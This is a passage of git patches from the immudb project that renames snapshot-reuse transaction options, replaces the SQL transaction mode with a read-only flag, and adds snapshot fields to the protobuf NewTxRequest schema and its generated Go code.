SnapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 + SnapshotRenewalPeriod time.Duration } func DefaultTxOptions() *TxOptions { return &TxOptions{ Mode: ReadWriteTx, - SnapshotNotOlderThanTx: func(lastPrecommittedTxID uint64) uint64 { + SnapshotMustIncludeTxID: func(lastPrecommittedTxID uint64) uint64 { return lastPrecommittedTxID }, } @@ -61,8 +61,8 @@ func (opts *TxOptions) WithMode(mode TxMode) *TxOptions { return opts } -func (opts *TxOptions) WithSnapshotNotOlderThanTx(snapshotNotOlderThanTx func(lastPrecommittedTxID uint64) uint64) *TxOptions { - opts.SnapshotNotOlderThanTx = snapshotNotOlderThanTx +func (opts *TxOptions) WithSnapshotMustIncludeTxID(snapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64) *TxOptions { + opts.SnapshotMustIncludeTxID = snapshotMustIncludeTxID return opts } diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 2d459548ae..c60f4be9bf 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1673,14 +1673,14 @@ func (t *TBtree) SyncSnapshot() (*Snapshot, error) { } func (t *TBtree) Snapshot() (*Snapshot, error) { - return t.SnapshotRenewIfOlderThanTs(0) + return t.SnapshotMustIncludeTs(0) } -func (t *TBtree) SnapshotRenewIfOlderThanTs(snapshotNotOlderThanTx uint64) (*Snapshot, error) { - return t.SnapshotRenewIfOlderThan(snapshotNotOlderThanTx, t.renewSnapRootAfter) +func (t *TBtree) SnapshotMustIncludeTs(snapshotMustIncludeTs uint64) (*Snapshot, error) { + return t.SnapshotMustIncludeTsWithRenewalPeriod(snapshotMustIncludeTs, t.renewSnapRootAfter) } -func (t *TBtree) SnapshotRenewIfOlderThan(snapshotNotOlderThanTs uint64, snapshotRenewalPeriod time.Duration) (*Snapshot, error) { +func (t *TBtree) SnapshotMustIncludeTsWithRenewalPeriod(snapshotMustIncludeTs uint64, snapshotRenewalPeriod time.Duration) (*Snapshot, error) { t.rwmutex.Lock() defer t.rwmutex.Unlock() @@ -1688,6 +1688,10 @@ func (t *TBtree) SnapshotRenewIfOlderThan(snapshotNotOlderThanTs uint64, snapsho return nil, ErrAlreadyClosed } + if snapshotMustIncludeTs > t.root.ts() { + return nil, fmt.Errorf("%w: snapshotMustIncludeTs is greater than current ts", ErrIllegalArguments) + } + if len(t.snapshots) == t.maxActiveSnapshots { return nil, ErrorToManyActiveSnapshots } @@ -1700,7 +1704,7 @@ func (t *TBtree) SnapshotRenewIfOlderThan(snapshotNotOlderThanTs uint64, snapsho if t.lastSnapRoot == nil { snapshotRenewalNeeded = true } else if t.lastSnapRoot.ts() < t.root.ts() { - snapshotRenewalNeeded = t.lastSnapRoot.ts() < snapshotNotOlderThanTs || + snapshotRenewalNeeded = t.lastSnapRoot.ts() < snapshotMustIncludeTs || (snapshotRenewalPeriod > 0 && time.Since(t.lastSnapRootAt) >= snapshotRenewalPeriod) } From e2b6bdfdef0725856657267aa08a30872d1a87fb Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 24 Dec 2022 17:04:40 -0300 Subject: [PATCH 0091/1062] chore(embedded/sql): snapshot reuse improvements Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 20 +++++++++++++++----- embedded/sql/engine_test.go | 7 ++++++- embedded/sql/sql_tx_options.go | 32 ++++++++++---------------------- 3 files changed, 31 insertions(+), 28 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index b9b84e5718..3009eee7dc 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -111,7 +111,7 @@ type MultiDBHandler interface { ListDatabases(ctx context.Context) ([]string, error) CreateDatabase(ctx context.Context, db string, ifNotExists bool) error UseDatabase(ctx context.Context, db string) error - ExecPreparedStmts(ctx context.Context, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) + ExecPreparedStmts(ctx context.Context, opts *TxOptions, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) } func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { @@ -179,10 +179,17 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { return nil, err } + var mode store.TxMode + if opts.ReadOnly { + mode = store.ReadOnlyTx + } else { + mode = store.ReadWriteTx + } + txOpts := &store.TxOptions{ - Mode: store.TxMode(opts.Mode), - SnapshotNotOlderThanTx: opts.SnapshotNotOlderThanTx, - SnapshotRenewalPeriod: opts.SnapshotRenewalPeriod, + Mode: mode, + SnapshotMustIncludeTxID: opts.SnapshotMustIncludeTxID, + SnapshotRenewalPeriod: opts.SnapshotRenewalPeriod, } e.mutex.RLock() @@ -246,14 +253,17 @@ func (e *Engine) ExecPreparedStmts(stmts []SQLStmt, params map[string]interface{ } var ctx context.Context + var opts *TxOptions if tx != nil { ctx = tx.ctx + opts = tx.opts } else { ctx = context.Background() + opts = DefaultTxOptions() } - ntx, hctxs, err := e.multidbHandler.ExecPreparedStmts(ctx, pendingStmts, params) + ntx, hctxs, err := e.multidbHandler.ExecPreparedStmts(ctx, opts, pendingStmts, params) return ntx, append(ctxs, hctxs...), err } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index ac3f5dd6ce..c12cc98810 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5252,7 +5252,12 @@ func (h *multidbHandlerMock) UseDatabase(ctx context.Context, db string) error { return nil } -func (h *multidbHandlerMock) ExecPreparedStmts(ctx context.Context, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) { +func (h *multidbHandlerMock) ExecPreparedStmts( + ctx context.Context, + opts *TxOptions, + stmts []SQLStmt, + params map[string]interface{}, +) (ntx *SQLTx, committedTxs []*SQLTx, err error) { return h.engine.ExecPreparedStmts(stmts, params, nil) } diff --git a/embedded/sql/sql_tx_options.go b/embedded/sql/sql_tx_options.go index a200fa6cf2..805b3b3dd3 100644 --- a/embedded/sql/sql_tx_options.go +++ b/embedded/sql/sql_tx_options.go @@ -23,27 +23,19 @@ import ( "github.com/codenotary/immudb/embedded/store" ) -type TxMode store.TxMode - -const ( - ReadOnlyTx TxMode = TxMode(store.ReadOnlyTx) - WriteOnlyTx TxMode = TxMode(store.WriteOnlyTx) - ReadWriteTx TxMode = TxMode(store.ReadWriteTx) -) - type TxOptions struct { - Mode TxMode - SnapshotNotOlderThanTx func(lastPrecommittedTxID uint64) uint64 - SnapshotRenewalPeriod time.Duration + ReadOnly bool + SnapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 + SnapshotRenewalPeriod time.Duration } func DefaultTxOptions() *TxOptions { txOpts := store.DefaultTxOptions() return &TxOptions{ - Mode: TxMode(txOpts.Mode), - SnapshotNotOlderThanTx: txOpts.SnapshotNotOlderThanTx, - SnapshotRenewalPeriod: txOpts.SnapshotRenewalPeriod, + ReadOnly: txOpts.Mode == store.ReadOnlyTx, + SnapshotMustIncludeTxID: txOpts.SnapshotMustIncludeTxID, + SnapshotRenewalPeriod: txOpts.SnapshotRenewalPeriod, } } @@ -52,20 +44,16 @@ func (opts *TxOptions) Validate() error { return fmt.Errorf("%w: nil options", store.ErrInvalidOptions) } - if opts.Mode != ReadOnlyTx && opts.Mode != WriteOnlyTx && opts.Mode != ReadWriteTx { - return fmt.Errorf("%w: invalid transaction mode", store.ErrInvalidOptions) - } - return nil } -func (opts *TxOptions) WithMode(mode TxMode) *TxOptions { - opts.Mode = mode +func (opts *TxOptions) WithReadOnly(readOnly bool) *TxOptions { + opts.ReadOnly = readOnly return opts } -func (opts *TxOptions) WithSnapshotNotOlderThanTx(snapshotNotOlderThanTx func(lastPrecommittedTxID uint64) uint64) *TxOptions { - opts.SnapshotNotOlderThanTx = snapshotNotOlderThanTx +func (opts *TxOptions) WithSnapshotMustIncludeTxID(snapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64) *TxOptions { + opts.SnapshotMustIncludeTxID = snapshotMustIncludeTxID return opts } From cffb3e23b6cfe4e371b571113e53c3cfec3dd65c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 24 Dec 2022 17:05:29 -0300 Subject: [PATCH 0092/1062] chore(pkg/api): snapshot reuse attributes Signed-off-by: Jeronimo Irazabal --- pkg/api/schema/docs.md | 12 +- pkg/api/schema/schema.pb.go | 1228 ++++++++++++++-------------- pkg/api/schema/schema.proto | 15 +- pkg/api/schema/schema.swagger.json | 10 +- 4 files changed, 652 insertions(+), 613 deletions(-) diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 53a269588b..051975c44b 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -1122,6 +1122,8 @@ DEPRECATED | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | mode | [TxMode](#immudb.schema.TxMode) | | Transaction mode | +| snapshotMustIncludeTxID | [NullableUint64](#immudb.schema.NullableUint64) | | An existing snapshot may be reused as long as it includes the specified transaction If not specified it will include up to the latest precommitted transaction | +| snapshotRenewalPeriod | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | An existing snapshot may be reused as long as it is not older than the specified timeframe | @@ -1612,7 +1614,7 @@ Only succeed if given key was not modified after given transaction | desc | [bool](#bool) | | If set to true, sort items in descending order | | limit | [uint64](#uint64) | | maximum number of entries to get, if not specified, the default value is used | | sinceTx | [uint64](#uint64) | | If non-zero, only require transactions up to this transaction to be indexed, newer transaction may still be pending | -| noWait | [bool](#bool) | | If set to true, do not wait for indexing to be done before finishing this call | +| noWait | [bool](#bool) | | Deprecated: If set to true, do not wait for indexing to be done before finishing this call | | inclusiveSeek | [bool](#bool) | | If set to true, results will include seekKey | | inclusiveEnd | [bool](#bool) | | If set to true, results will include endKey if needed | | offset | [uint64](#uint64) | | Specify the initial entry to be returned by excluding the initial set of entries | @@ -1822,7 +1824,7 @@ TxMetadata contains metadata set to whole transaction | tx | [uint64](#uint64) | | Transaction id to query for | | entriesSpec | [EntriesSpec](#immudb.schema.EntriesSpec) | | Specification for parsing entries, if empty, entries are returned in raw form | | sinceTx | [uint64](#uint64) | | If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed, will affect resolving references | -| noWait | [bool](#bool) | | If set to true, do not wait for the indexer to be up to date | +| noWait | [bool](#bool) | | Deprecated: If set to true, do not wait for the indexer to be up to date | | keepReferencesUnresolved | [bool](#bool) | | If set to true, do not resolve references (avoid looking up final values if not needed) | @@ -1843,7 +1845,7 @@ TxMetadata contains metadata set to whole transaction | desc | [bool](#bool) | | If set to true, scan transactions in descending order | | entriesSpec | [EntriesSpec](#immudb.schema.EntriesSpec) | | Specification of how to parse entries | | sinceTx | [uint64](#uint64) | | If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed, will affect resolving references | -| noWait | [bool](#bool) | | If set to true, do not wait for the indexer to be up to date | +| noWait | [bool](#bool) | | Deprecated: If set to true, do not wait for the indexer to be up to date | @@ -2190,7 +2192,7 @@ Reserved to reply with more advanced response later | proveSinceTx | [uint64](#uint64) | | When generating the proof, generate consistency proof with state from this transaction | | entriesSpec | [EntriesSpec](#immudb.schema.EntriesSpec) | | Specification of how to parse entries | | sinceTx | [uint64](#uint64) | | If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed, will affect resolving references | -| noWait | [bool](#bool) | | If set to true, do not wait for the indexer to be up to date | +| noWait | [bool](#bool) | | Deprecated: If set to true, do not wait for the indexer to be up to date | | keepReferencesUnresolved | [bool](#bool) | | If set to true, do not resolve references (avoid looking up final values if not needed) | @@ -2286,7 +2288,7 @@ Reserved to reply with more advanced response later | minScore | [Score](#immudb.schema.Score) | | Minimum score of entries to scan | | maxScore | [Score](#immudb.schema.Score) | | Maximum score of entries to scan | | sinceTx | [uint64](#uint64) | | If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed | -| noWait | [bool](#bool) | | If set to true, do not wait for the indexer to be up to date | +| noWait | [bool](#bool) | | Deprecated: If set to true, do not wait for the indexer to be up to date | | offset | [uint64](#uint64) | | Specify the index of initial entry to be returned by excluding the initial set of entries (alternative to seekXXX attributes) | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 05a0770901..a90dfdddaf 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -1661,7 +1661,7 @@ type ScanRequest struct { // If non-zero, only require transactions up to this transaction to be // indexed, newer transaction may still be pending SinceTx uint64 `protobuf:"varint,5,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` - // If set to true, do not wait for indexing to be done before finishing this call + // Deprecated: If set to true, do not wait for indexing to be done before finishing this call NoWait bool `protobuf:"varint,6,opt,name=noWait,proto3" json:"noWait,omitempty"` // If set to true, results will include seekKey InclusiveSeek bool `protobuf:"varint,8,opt,name=inclusiveSeek,proto3" json:"inclusiveSeek,omitempty"` @@ -3799,7 +3799,7 @@ type ZScanRequest struct { // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed SinceTx uint64 `protobuf:"varint,10,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` - // If set to true, do not wait for the indexer to be up to date + // Deprecated: If set to true, do not wait for the indexer to be up to date NoWait bool `protobuf:"varint,11,opt,name=noWait,proto3" json:"noWait,omitempty"` // Specify the index of initial entry to be returned by excluding the initial // set of entries (alternative to seekXXX attributes) @@ -4077,7 +4077,7 @@ type TxRequest struct { // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed, will affect resolving references SinceTx uint64 `protobuf:"varint,3,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` - // If set to true, do not wait for the indexer to be up to date + // Deprecated: If set to true, do not wait for the indexer to be up to date NoWait bool `protobuf:"varint,4,opt,name=noWait,proto3" json:"noWait,omitempty"` // If set to true, do not resolve references (avoid looking up final values if not needed) KeepReferencesUnresolved bool `protobuf:"varint,5,opt,name=keepReferencesUnresolved,proto3" json:"keepReferencesUnresolved,omitempty"` @@ -4279,7 +4279,7 @@ type VerifiableTxRequest struct { // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed, will affect resolving references SinceTx uint64 `protobuf:"varint,4,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` - // If set to true, do not wait for the indexer to be up to date + // Deprecated: If set to true, do not wait for the indexer to be up to date NoWait bool `protobuf:"varint,5,opt,name=noWait,proto3" json:"noWait,omitempty"` // If set to true, do not resolve references (avoid looking up final values if not needed) KeepReferencesUnresolved bool `protobuf:"varint,6,opt,name=keepReferencesUnresolved,proto3" json:"keepReferencesUnresolved,omitempty"` @@ -4375,7 +4375,7 @@ type TxScanRequest struct { // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed, will affect resolving references SinceTx uint64 `protobuf:"varint,5,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` - // If set to true, do not wait for the indexer to be up to date + // Deprecated: If set to true, do not wait for the indexer to be up to date NoWait bool `protobuf:"varint,6,opt,name=noWait,proto3" json:"noWait,omitempty"` } @@ -7938,6 +7938,11 @@ type NewTxRequest struct { // Transaction mode Mode TxMode `protobuf:"varint,1,opt,name=mode,proto3,enum=immudb.schema.TxMode" json:"mode,omitempty"` + // An existing snapshot may be reused as long as it includes the specified transaction + // If not specified it will include up to the latest precommitted transaction + SnapshotMustIncludeTxID *NullableUint64 `protobuf:"bytes,2,opt,name=snapshotMustIncludeTxID,proto3" json:"snapshotMustIncludeTxID,omitempty"` + // An existing snapshot may be reused as long as it is not older than the specified timeframe + SnapshotRenewalPeriod *NullableMilliseconds `protobuf:"bytes,3,opt,name=snapshotRenewalPeriod,proto3" json:"snapshotRenewalPeriod,omitempty"` } func (x *NewTxRequest) Reset() { @@ -7979,6 +7984,20 @@ func (x *NewTxRequest) GetMode() TxMode { return TxMode_ReadOnly } +func (x *NewTxRequest) GetSnapshotMustIncludeTxID() *NullableUint64 { + if x != nil { + return x.SnapshotMustIncludeTxID + } + return nil +} + +func (x *NewTxRequest) GetSnapshotRenewalPeriod() *NullableMilliseconds { + if x != nil { + return x.SnapshotRenewalPeriod + } + return nil +} + type NewTxResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -9442,466 +9461,477 @@ var file_schema_proto_rawDesc = []byte{ 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, - 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x39, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, - 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, - 0x6f, 0x64, 0x65, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, - 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, - 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, - 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, - 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, - 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, - 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, - 0x61, 0x79, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, - 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, - 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, - 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, - 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, - 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, - 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, - 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, - 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, - 0x32, 0xea, 0x32, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, - 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, - 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, - 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, - 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, - 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, - 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, - 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, - 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, - 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, - 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, - 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, - 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, - 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, - 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 